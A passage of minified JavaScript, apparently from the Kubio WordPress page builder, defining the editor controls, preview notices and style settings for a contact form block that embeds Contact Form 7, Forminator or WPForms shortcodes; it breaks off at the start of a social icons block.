Object(xe.createElement)(De.RichText.Content,{value:t.template})}}),Dj=e=>{let{shortcode:t,onChange:o,...n}=e;const a=(e=>{let t="";return t=Ne.a.isString(e)?e:Object(He.shortcodeToString)(e),t})(t);return Object(xe.createElement)(Ve.AsyncModeProvider,{value:!0},Object(xe.createElement)(He.ServerSideRender,Object(ut.a)({onChange:o,block:Yo.SHORTCODE,attributes:{shortcode:a,inEditor:!0}},n)))},Lj=["input:not([type=hidden]):not([type=submit]):not([type=button])","textarea","select"].join(","),Mj=[{label:Object(We.__)("Normal","kubio"),value:cn.StatesEnum.NORMAL},{label:Object(We.__)("Hover","kubio"),value:cn.StatesEnum.HOVER},{label:Object(We.__)("Focus","kubio"),value:cn.StatesEnum.FOCUS}],Wj={values:cn.StatesEnum,options:Mj,default:cn.StatesEnum.NORMAL},Hj=[{label:Object(We.__)("Normal","kubio"),value:cn.StatesEnum.NORMAL},{label:Object(We.__)("Hover","kubio"),value:cn.StatesEnum.HOVER}],Gj={values:cn.StatesEnum,options:Hj,default:cn.StatesEnum.NORMAL},Uj={SHORTCODE:"shortcode",FORM:"form"},Fj=[{value:Uj.FORM,label:Object(We.__)("Form","kubio")},{value:Uj.SHORTCODE,label:Object(We.__)("Shortcode","kubio")}],zj={shortcodeControlType:{values:Uj,options:Fj},fieldsStates:Wj,buttonStates:Gj},{shortcodeControlType:Vj}=zj,Yj=e=>{let{dataHelper:t,isForPlaceholder:o=!1,formListStore:n,useFormApi:a=Ne.a.noop,supportedPlugins:l=[]}=e;const r={value:t.getAttribute("shortcode"),onChange:e=>{t.setAttribute("shortcode",e),t.getAttribute("formId")&&t.setAttribute("formId","")}},i=t.getContextProp("shortcodeControlType"),{getFormOptions:c,getLoading:s}=Object(Ve.useSelect)((e=>e(n))),{retrieve:u}=a(),p=c(),b=s(),m=i===Vj.values.SHORTCODE,d=i===Vj.values.FORM,h=t.getAttribute("formId"),O=(e=>{let{options:t,onChangeShortcode:o,onChangeFormType:n}=e;return e=>{"custom"!==e&&o((e=>{let o=null;t.forEach((t=>{Ne.a.get(t,"items",[]).forEach((n=>{(null==n?void 0:n.value)===e&&(o=t.value)}))}));const n={tag:o,attrs:{named:{id:e}}};return Object(He.shortcodeToString)(n)})(e)),n(e)}})({options:p,onChangeShortcode:e=>{t.setAttribute("shortcode",e)},onChangeFormType:e=>{t.setAttribute("formId",e)}}),g=o?void 0:Object(We.__)("Add form","kubio");return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ToggleGroup,{label:g,options:Vj.options,value:i,onChange:e=>{t.setContextProp("shortcodeControlType",e)}}),d&&Object(xe.createElement)(Xj,{isForPlaceholder:o,value:h,onChange:O,supportedPlugins:l,options:p,isLoading:b,onRefreshFormList:u}),m&&Object(xe.createElement)($j,Object(ut.a)({},r,{isForPlaceholder:o})))};function $j(e){let{isForPlaceholder:t,...o}=e;const n=t?qj:Kj;return Object(xe.createElement)(n,Object(ut.a)({rows:2,placeholder:Object(We.__)("[Insert shortcode here]","kubio")},o))}function Kj(e){return Object(xe.createElement)(Re.TextareaControl,e)}function qj(e){let{...t}=e;const{value:o,onChange:n}=t,[a,l]=Object(xe.useState)(o);return Object(xe.useEffect)((()=>{l(o)}),[o]),Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.TextareaControl,Object(ut.a)({},t,{value:a,onChange:l,className:"kubio-ui-reset"})),Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.Button,{onClick:()=>{n(a)},isPrimary:!0},Object(We.__)("Use shortcode","kubio"))))}function Xj(e){let{...t}=e;const{options:o,isForPlaceholder:n,supportedPlugins:a,isLoading:l,onRefreshFormList:r}=t,i=0===o.length,[c,s]=Object(xe.useState)(!1),u=n?Jj:Zj,p=()=>{s(!0),r()};return Object(xe.useEffect)((()=>{l!==c&&s(l)}),[l]),Object(xe.createElement)("div",{className:$e()("kubio-block-placeholder-form__controls",{"kubio-block-placeholder-form__controls--sidebar":!n})},l&&Object(xe.createElement)(Qj,null),!l&&Object(xe.createElement)(xe.Fragment,null,i&&Object(xe.createElement)(ek,{supportedPlugins:a}),!i&&Object(xe.createElement)(u,Object(ut.a)({placeholder:Object(We.__)("Select a form","kubio"),onReset:p,disabled:c},t)),i&&Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.Button,{onClick:p,isPrimary:!0,disabled:c,className:"w-100 justify-content-center kubio-form-shortcode-controls__loading-button"},Object(xe.createElement)("span",null,Object(We.__)("Refresh form list","kubio"))))))}function Qj(){return Object(xe.createElement)("div",{className:"kubio-block-placeholder-form__controls__kubio-loader"},Object(xe.createElement)(sa.a,{icon:on.KubioLoader}),Object(xe.createElement)("span",{className:"kubio-block-placeholder-form__controls__kubio-loader__text"},Object(We.__)("Loading forms…","kubio")))}function Zj(e){let{...t}=e;return Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({},t,{allowReset:!0,resetIcon:on.UpdateIcon,resetLabel:Object(We.__)("Refresh form list","kubio")}))}function Jj(e){let{...t}=e;const{value:o,onChange:n,options:a,onReset:l,disabled:r=!1}=t,[i,c]=Object(xe.useState)(o);return Object(xe.useEffect)((()=>{i!==o&&c(o)}),[o]),Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({},t,{options:a,value:i,onChange:c,onReset:l,allowReset:!0,resetIcon:on.UpdateIcon,resetLabel:Object(We.__)("Refresh form list","kubio")})),Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.Button,{onClick:()=>{"custom"!==i&&i&&n(i)},isPrimary:!0,disabled:r||!i},Object(We.__)("Use Form","kubio"))))}function ek(e){let{supportedPlugins:t}=e;const o=e=>{try{const{admin_url:t}=window.kubioUtilsData,o=new URL(`${t}plugin-install.php`),n=o.searchParams;return n.append("s",e),n.append("tab","search"),n.append("type","term"),o.toString()}catch(e){return"#"}};return Object(xe.createElement)(Re.ControlNotice,{content:Object(xe.createElement)("span",{className:"h-form-placeholder__notice"},Object(xe.createElement)("b",null,Object(We.__)("No forms detected.","kubio"))," ",Object(xe.createElement)("span",null,Object(We.__)("You can use forms from the following plugins: ","kubio")),t.map(((e,n)=>Object(xe.createElement)("span",{key:e.value},Object(xe.createElement)("a",{onClick:()=>{(e=>{const t=o(e.value);t&&window.open(t,"_blank").focus()})(e)},href:o(e.value),target:"_blank",rel:"noreferrer"},e.label),n!==t.length-1&&Object(xe.createElement)("span",null,", ")))))})}const tk={INFO:"info",ERROR:"error",SUCCESS:"success"},ok={values:tk,options:[{label:Object(We.__)("Info","kubio"),value:tk.INFO},{label:Object(We.__)("Error","kubio"),value:tk.ERROR},{label:Object(We.__)("Success","kubio"),value:tk.SUCCESS}],default:tk.INFO},nk={CONTACT_FORM_7:"contact-form-7",WP_FORM:"wpforms",FORMINATOR:"forminator_form",OTHER:"other"},ak=[{label:Object(We.__)("Forminator","kubio"),value:"forminator"},{label:Object(We.__)("Contact Form 7","kubio"),value:"contact form 7"},{label:Object(We.__)("WpForms","kubio"),value:"WPForms"}],lk=e=>Object.values(nk).find((t=>e.includes(t)))||nk.OTHER,rk=e=>({contactForm:e===nk.CONTACT_FORM_7,forminator:e===nk.FORMINATOR,wpForm:e===nk.WP_FORM,other:e===nk.OTHER}),ik={...zj,notices:ok,supportedPlugins:ak},ck=Object(We.__)("Use one of the existing contact forms available, or paste a custom shortcode","kubio"),sk=Object(We.__)("Contact form","kubio"),uk=e=>{let{dataHelper:t,...o}=e;return Object(xe.createElement)(Re.BlockPlaceholder,{title:sk,description:ck,icon:on.BlockIcons.Contact},Object(xe.createElement)(Yj,Object(ut.a)({dataHelper:t,formListStore:_l,useFormApi:Cl,supportedPlugins:ik.supportedPlugins,isForPlaceholder:!0},o)))},pk="formContainer",bk="formWrapper",mk="formTypography",dk="labels",hk="fields",Ok="submitButton",gk="errorNotice",yk="infoNotice",jk="successNotice",kk="validationErrors",Ek="placeholder",fk=[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],vk=[...fk,cn.StylesEnum.TEXT_SHADOW],_k={[pk]:{label:Object(We.__)("Form container","kubio"),supports:{styles:fk,states:["normal","hover"]}},[mk]:{internal:!0},[dk]:{label:Object(We.__)("Labels","kubio"),supports:{styles:[cn.StylesEnum.TYPOGRAPHY,cn.StylesEnum.SPACING],states:["normal"]}},[hk]:{label:Object(We.__)("Fields","kubio"),supports:{styles:fk,states:["normal","hover","focus"],filters:{[cn.StylesEnum.TYPOGRAPHY]:{openedSidebar:"document/general-settings/form-elements"}}}},[Ok]:{label:Object(We.__)("Submit button","kubio"),supports:{styles:fk,states:["normal","hover"],filters:{[cn.StylesEnum.TYPOGRAPHY]:{openedSidebar:"document/general-settings/form-elements"}}}},[gk]:{label:Object(We.__)("Error notice","kubio"),supports:{styles:vk,states:["normal"]}},[yk]:{label:Object(We.__)("Info notice","kubio"),supports:{styles:vk,states:["normal"]}},[jk]:{label:Object(We.__)("Success notice","kubio"),supports:{styles:vk,states:["normal"]}},[kk]:{internal:!0},[bk]:{internal:!0},[Ek]:{internal:!0}},Ck={error:Object(We.__)("This is a error preview text.","kubio"),info:Object(We.__)("This is a info preview text.","kubio"),success:Object(We.__)("This is a success preview text.","kubio")},Ik={error:"wpcf7-mail-sent-ng",info:"wpcf7-dummy-info",success:"wpcf7-mail-sent-ok"},Tk={error:"forminator-error",info:"forminator-loading",success:"forminator-success"},Sk=e=>{e.preventDefault(),e.stopPropagation()},wk=Object(Me.compose)(Object(He.withColibriDataAutoSave)((e=>{const t=e.getAttribute("useShortcodeStyle"),o=e.getAttribute("shortcode",""),n=Object(xe.useMemo)((()=>lk(o)),[o]),a=(e,t)=>{switch(n){case nk.CONTACT_FORM_7:((e,t)=>{const o=e.querySelector(".wpcf7-response-output");o&&(o.classList.remove("wpcf7-display-none"),Ne.a.each(Ik,(e=>{o.classList.remove(e)})),Ik[t]&&o.classList.add(Ik[t]),Ck[t]&&(o.innerText=Ck[t]))})(e,t);break;case nk.FORMINATOR:((e,t)=>{const o=e.querySelector(".forminator-response-message");o&&(o.classList.add("h-visible"),Ne.a.each(Tk,(e=>{o.classList.remove(e)})),Tk[t]&&o.classList.add(Tk[t]),Ck[t]&&(o.innerText=Ck[t]),(e=>{const t=e.querySelectorAll(".forminator-error-message");Array.prototype.forEach.call(t,(function(e){e.parentNode.removeChild(e)}))})(e),"error"===t)&&e.querySelectorAll("[aria-required=true]").forEach((e=>{const t=document.createElement("span");t.innerText=Object(We.__)("Validation error sample","kubio"),t.classList.add("forminator-error-message"),e.parentNode.appendChild(t)}))})(e,t);break;case nk.WP_FORM:((e,t)=>{"success"===t?(e.querySelector(".wpforms-container").classList.toggle("h-hidden",!0),e.querySelector(".wpforms-confirmation-container-full").classList.toggle("h-hidden",!1)):(e.querySelector(".wpforms-container").classList.toggle("h-hidden",!1),e.querySelector(".wpforms-confirmation-container-full").classList.toggle("h-hidden",!0))})(e,t)}},l={tag:"kubio_contact_form",attrs:{named:{use_shortcode_style:t?1:0,shortcode:Object(He.encodeShortcodeData)(o)}}},r=e.getContextProp("currentState"),i=Ne.a.get(r,"notice"),c=Ne.a.get(r,"button"),s=Ne.a.get(r,"fields");return{shortcode:e.useAttributePath("shortcode"),shortcodeTag:l,useShortcodeStyle:t,onShortcodeUpdate:e=>{if(t)return;const o=null==e?void 0:e.current;if(o){(e=>{const t=null==e?void 0:e.current;t&&Ne.a.toArray(t.querySelectorAll(Lj)).forEach((e=>{try{"TEXTAREA"===e.tagName&&(e.value="Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua."),"INPUT"===e.tagName&&(e.value=Object(We.__)("Preview Value","kubio"))}catch(e){}}))})(e);try{a(o,i)}catch(e){}}},noticeCurrentState:i,buttonCurrentState:c,fieldsCurrentState:s}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{useShortcodeStyle:t}=e;return{[pk]:{disableStyleClasses:t,className:()=>{const e=[];return t?e.push("kubio-no-style"):e.push("kubio-use-style"),e}},[bk]:{disableStyleClasses:t}}})),He.withIsSelected),Pk=wk((e=>{const{computed:t,StyledElements:o,dataHelper:n}=e,{shortcode:a,shortcodeTag:l,noticeCurrentState:r,onShortcodeUpdate:i}=t,c=Object(xe.useRef)(null);return Object(xe.useEffect)((()=>{a.value&&i(c)}),[r]),Object(xe.createElement)(o.FormWrapper,null,a.value&&Object(xe.createElement)(o.FormContainer,{ref:c},Object(xe.createElement)(Dj,{shortcode:l,onChange:()=>{i(c);const e=c.current,t=null==e?void 0:e.querySelector("form");t&&t.addEventListener("submit",Sk)}})),!a.value&&Object(xe.createElement)(uk,{dataHelper:n}))}));var Ak=Object(He.withComputedData)((e=>({defaultTextAlign:Object(tl.useInheritedTextAlign)()})))((e=>{let{computed:t,dataHelper:o}=e;const{defaultTextAlign:n}=t;return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Contact form properties","kubio")},Object(xe.createElement)(Yj,{formListStore:_l,useFormApi:Cl,dataHelper:o,supportedPlugins:ik.supportedPlugins}),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Use plugin's style","kubio"),path:"useShortcodeStyle",type:He.WithDataPathTypes.ATTRIBUTE}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Form elements align","kubio"),path:"textAlign",defaultValue:n,type:He.WithDataPathTypes.STYLE,style:pk}))}));const Bk=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Ak,null));var Nk=()=>{const e={type:He.WithDataPathTypes.STYLE,style:pk};return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Form container","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color"},e)),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},e)))},xk=Object(He.withComputedData)((e=>{const t=Object(tl.useInheritedTextAlign)();return{defaultTextAlign:e.getStyle("textAlign",t,{styledComponent:pk})}}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:dk},{defaultTextAlign:n}=t;return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Labels","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",type:He.WithDataPathTypes.STYLE},o)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography",type:He.WithDataPathTypes.STYLE},o)),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:"Text align",useContentAlignIcons:!1,defaultValue:n,path:"textAlign"},o)))})),Rk=Object(He.withComputedData)((e=>{const t=e.useContextPath("currentState.fields"),o="form-fields",n={styledComponent:hk},a={...n,state:t.value};return{currentState:t,getFormData:Object(tl.useGetFormDataWithInherited)({dataHelper:e,storeOptions:n,globalFormElement:o}),getFormDataWithState:Object(tl.useGetFormDataWithInherited)({dataHelper:e,storeOptions:a,globalFormElement:o})}}))((e=>{let{computed:t}=e;const{currentState:o,getFormData:n,getFormDataWithState:a}=t,l={type:He.WithDataPathTypes.STYLE,style:hk};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Fields","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({options:ik.fieldsStates.options},o)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color",state:o.value},a("background.color"),l)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",state:o.value},a("typography.color"),l)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),path:["border.top.color","border.right.color","border.bottom.color","border.left.color"],state:o.value},a("border.top.color"),l)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography",nodeType:!1,type:He.WithDataPathTypes.STYLE},l,n("typography"))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},l,n("padding"))),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Margin","kubio"),path:"margin"},l,n("margin"))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border",withColor:!1},l,n("border"))))})),Dk=Object(He.withComputedData)((e=>{const t=e.useContextPath("currentState.button"),o="form-submit-button",n={styledComponent:Ok},a={...n,state:t.value},l=Object(tl.useGetFormDataWithInherited)({dataHelper:e,storeOptions:n,globalFormElement:o}),r=Object(tl.useGetFormDataWithInherited)({dataHelper:e,storeOptions:a,globalFormElement:o});return{currentState:t,buttonAlign:{value:e.getStyle("textAlign",null,{styledComponent:Ok}),onChange:t=>{const o={styledComponent:Ok};switch(e.setStyle("textAlign",t,o),t){case"left":e.setStyle("marginLeft","0",o),e.setStyle("marginRight","auto",o);break;case"center":e.setStyle("marginLeft","auto",o),e.setStyle("marginRight","auto",o);break;case"right":e.setStyle("marginLeft","auto",o),e.setStyle("marginRight","0",o)}},onReset:()=>{const t={styledComponent:Ok,unset:!0};e.setStyle("marginLeft",null,t),e.setStyle("marginRight",null,t),e.setStyle("textAlign",null,t)}},getFormData:l,getFormDataWithState:r}}))((e=>{let{computed:t}=e;const{currentState:o,getFormData:n,getFormDataWithState:a,buttonAlign:l}=t,r={type:He.WithDataPathTypes.STYLE,style:Ok};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Submit button","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({options:ik.buttonStates.options},o)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color",state:o.value},a("background.color"),r)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",state:o.value},a("typography.color"),r)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),path:["border.top.color","border.right.color","border.bottom.color","border.left.color"],state:o.value},a("border.top.color"),r)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({nodeType:!1,path:"typography",type:He.WithDataPathTypes.STYLE},r,n("typography"))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},r,n("padding"))),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border",withColor:!1},r,n("border"))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({path:"boxShadow",showReset:!0},r,n("boxShadow"))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.HorizontalTextAlign,Object(ut.a)({label:Object(We.__)("Button align","kubio")},l)))}));const Lk={info:"infoNotice",error:"errorNotice",success:"successNotice"};var Mk=Object(He.withComputedData)((e=>{const t=e.getContextProp("currentState.notice"),o={styledComponent:Lk[t]},n=e.getAttribute("shortcode",""),a=Object(xe.useMemo)((()=>lk(n)),[n]),l=Object(xe.useMemo)((()=>rk(a)),[a]).wpForm&&"success"!==t;return{currentNoticeState:t,onChangeCurrentNoticeState:t=>{e.setContextProp("currentState.notice",t)},borderColor:{value:e.getStyle("border.top.color",void 0,o),onChange:t=>{const n=Object(un.setSidesData)("color",t);e.setStyle("border",n,o)}},showCFUnsupportedNotice:l}}))((e=>{let{computed:t}=e;const{borderColor:o,currentNoticeState:n,onChangeCurrentNoticeState:a,showCFUnsupportedNotice:l}=t,r={type:He.WithDataPathTypes.STYLE,style:Lk[n]};let i;return i=l?Object(xe.createElement)(Re.ControlNotice,{content:Object(We.__)("These properties are not supported by current form type","kubio")}):Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Typography color","kubio"),path:"typography.color"},r)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color"},r)),Object(xe.createElement)(Re.ColorIndicatorPopover,{showReset:!0,label:Object(We.__)("Border color","kubio"),value:o.value,onChange:o.onChange}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},r)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},r)),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Margin","kubio"),path:"margin"},r)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border",withColor:!1},r))),Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Notices","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ToggleGroup,{options:ik.notices.options,value:n,onChange:a}),i)})),Wk=Object(He.withComputedData)((e=>{const t=e.getAttribute("shortcode",""),o=e.getContextProp("currentState.notice")===ik.notices.values.ERROR,n=Object(xe.useMemo)((()=>lk(t)),[t]);return{currentStateIsError:o,formIs:Object(xe.useMemo)((()=>rk(n)),[n])}}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:kk},{formIs:n,currentStateIsError:a}=t;return a&&(n.forminator||n.contactForm)?Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Validation errors","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background color","kubio"),path:"background.color"},o)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color"},o)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},o)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},o)),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Margin","kubio"),path:"margin"},o))):Object(xe.createElement)(xe.Fragment,null)}));const Hk=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Nk,null),Object(xe.createElement)(xk,null),Object(xe.createElement)(Rk,null),Object(xe.createElement)(Dk,null),Object(xe.createElement)(Mk,null),Object(xe.createElement)(Wk,null));var Gk,Uk=Object(Me.compose)(Object(He.withComputedData)((e=>({usePluginStyle:e.getAttribute("useShortcodeStyle",!1)}))),(Gk=_l,Object(Ve.withSelect)((e=>{const{getFormOptions:t,getLoading:o}=e(Gk),n=t();return{isLoading:o(),formOptions:Object(He.useDeepMemo)((()=>n),[n])}}))),He.withPropsChecker)((function(e){let{computed:t,...o}=e;const{usePluginStyle:n}=t;return Object(xe.createElement)(xe.Fragment,null,n&&Object(xe.createElement)(ze.BlockInspectorTopControls,null,Object(xe.createElement)("div",{className:"kubio-editing-header"},Object(xe.createElement)(Re.ControlNotice,{content:Object(We.__)("Contact form is using plugin style","kubio")}))),Object(xe.createElement)(Bk,null),Object(xe.createElement)(Hk,null),Object(xe.createElement)(Pk,o))}));const Fk=Object(We.__)("Add a contact form to any page and customize its header, fields, and call to action with ease.","kubio"),zk={name:"kubio/contact",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},formId:{type:"string",default:""},useShortcodeStyle:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{validationErrors:{background:{color:"#F9E4E8"},typography:{color:"#E04562",fontSize:{unit:"px",value:12},fontWeight:500,lineHeight:{unit:"em",value:2}},padding:{top:{unit:"px",value:2},right:{unit:"px",value:10},bottom:{unit:"px",value:2},left:{unit:"px",value:10}},margin:{top:{unit:"px",value:5},right:{unit:"px",value:0},bottom:{unit:"px",value:16},left:{unit:"px",value:0}}},submitButton:{textAlign:"left"}}}},elementsEnum:{FORM_CONTAINER:"formContainer",FORM_WRAPPER:"formWrapper",FORM_TYPOGRAPHY:"formTypography",LABELS:"labels",FIELDS:"fields",SUBMIT_BUTTON:"submitButton",ERROR_NOTICE:"errorNotice",INFO_NOTICE:"infoNotice",SUCCESS_NOTICE:"successNotice",VALIDATION_ERRORS:"validationErrors",PLACEHOLDER:"placeholder"},elementsByName:{formWrapper:{wrapper:!0},formContainer:{default:!0},formTypography:{selector:".h-contact-form-shortcode, p, label, input, select, textarea"},labels:{selector:" label,p label,.wpcf7-not-valid-tip, .wpcf7-list-item-label, .forminator-ui .forminator-row .forminator-col label, form.forminator-ui .forminator-label"},fields:{selector:'.wp-block-kubio-contact__formContainer textarea, form.forminator-ui .forminator-row .forminator-col textarea.forminator-textarea, .wp-block-kubio-contact__formContainer select, .wp-block-kubio-contact__formContainer input:not([type="file"]):not([type="radio"]):not([type="checkbox"]):not([type="submit"])'},submitButton:{selector:'[type="submit"], .forminator-ui .forminator-row .forminator-col .forminator-button-submit'},errorNotice:{selector:".wpcf7-mail-sent-ng, .wpcf7-aborted, .wpcf7-form.failed .wpcf7-response-output, .wpcf7-form.aborted .wpcf7-response-output, .wpcf7-validation-errors, .wpcf7-form.invalid .wpcf7-response-output, .wpcf7-form.unaccepted .wpcf7-response-output,form.forminator-ui .forminator-response-message.forminator-error"},infoNotice:{selector:"form:not(.invalid):not(.unnaccepted):not(.failed) .wpcf7-response-output:not(.wpcf7-mail-sent-ok):not(.wpcf7-mail-sent-ng), form.forminator-ui .forminator-response-message.forminator-loading"},successNotice:{selector:".wpcf7-mail-sent-ok, .wpcf7 form.sent .wpcf7-response-output, .wpforms-confirmation-container-full, .wpforms-confirmation-container, form.forminator-ui .forminator-response-message.forminator-success"},validationErrors:{selector:".forminator-row .forminator-col .forminator-error-message, form .wpcf7-not-valid-tip"}},template:{type:"element",props:{disableStyleClasses:"computed.disableStyleClasses",name:"formWrapper"},children:[{type:"element",props:{shouldRender:"computed.renderContainer",disableStyleClasses:"computed.disableStyleClasses",name:"formContainer"}},{type:"element",props:{name:"placeholder",shouldRender:"computed.renderPlaceholder"}}]}}}},Vk=(e=>t=>{const o=t.getAttribute("shortcode"),n=t.getAttribute("formId"),{shortcodeControlType:a}=e,l=o&&!n?a.values.SHORTCODE:a.values.FORM;return{currentState:{notice:e.notices.default,button:e.buttonStates.default,fields:e.fieldsStates.default},shortcodeControlType:l}})(ik),Yk=Object(nn.extendBlockMeta)(zk,{title:Object(We.__)("Contact Form","kubio"),keywords:[Object(We.__)("form","kubio"),Object(We.__)("contact","kubio")],icon:on.BlockIcons.Contact,apiVersion:2,supports:{kubio:{elementsByName:_k},reusable:!1,html:!1},edit:Uk,contextPropsDefault:Vk,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:Fk}:e}),$k={OUTER:"outer",ICON:"icon"},Kk={[$k.OUTER]:{label:Object(We.__)("List","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.NONE}},[$k.ICON]:{label:Object(We.__)("Icons","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC,filters:{background:{types:["none","gradient"]}}}}},qk={NORMAL:"normal",HOVER:"hover"},Xk={styleTypeOptions:[{value:"official",label:Object(We.__)("Official","kubio")},{value:"shared",label:Object(We.__)("Shared","kubio")},{value:"individual",label:Object(We.__)("Individual","kubio")}],objectColorIcons:[{name:"facebook",color:"rgb(59,89,152)"},{name:"twitter",color:"rgb(29,161,242)"},{name:"linkedin",color:"rgb(0,119,181)"},{name:"youtube",color:"rgb(255,0,0)"},{name:"whatsapp",color:"rgb(37,211,102)"},{name:"tumblr",color:"rgb(54,70,93)"},{name:"instagram",color:"rgb(195,42,163)"},{name:"snapchat",color:"rgb(255,252,0)"},{name:"pinterest",color:"rgb(189,8,28)"},{name:"reddit",color:"rgb(255,69,0)"},{name:"foursquare",color:"rgb(249,72,119)"},{name:"stumbleupon",color:"rgb(233,72,38)"},{name:"viadeo",color:"rgb(240,115,85)"},{name:"deviantart",color:"rgb(5,204,71)"},{name:"flickr",color:"rgb(244,0,131)"},{name:"vimeo",color:"rgb(26,183,234)"},{name:"google",color:"rgb(219,68,55)"},{name:"medium",color:"rgb(2,184,117)"},{name:"behance",color:"rgb(23,105,255)"},{name:"wordpress",color:"rgb(61,139,187)"}],stateToggle:{values:qk,options:[{label:Object(We.__)("Normal","kubio"),value:qk.NORMAL},{label:Object(We.__)("Hover","kubio"),value:qk.HOVER}]}},Qk=Object(He.withComputedData)(((e,t)=>{const o=e.withParent().getProp("styleType","shared");return{afterIconChange:t=>{const n=t.split("/").pop();if("official"===o){const 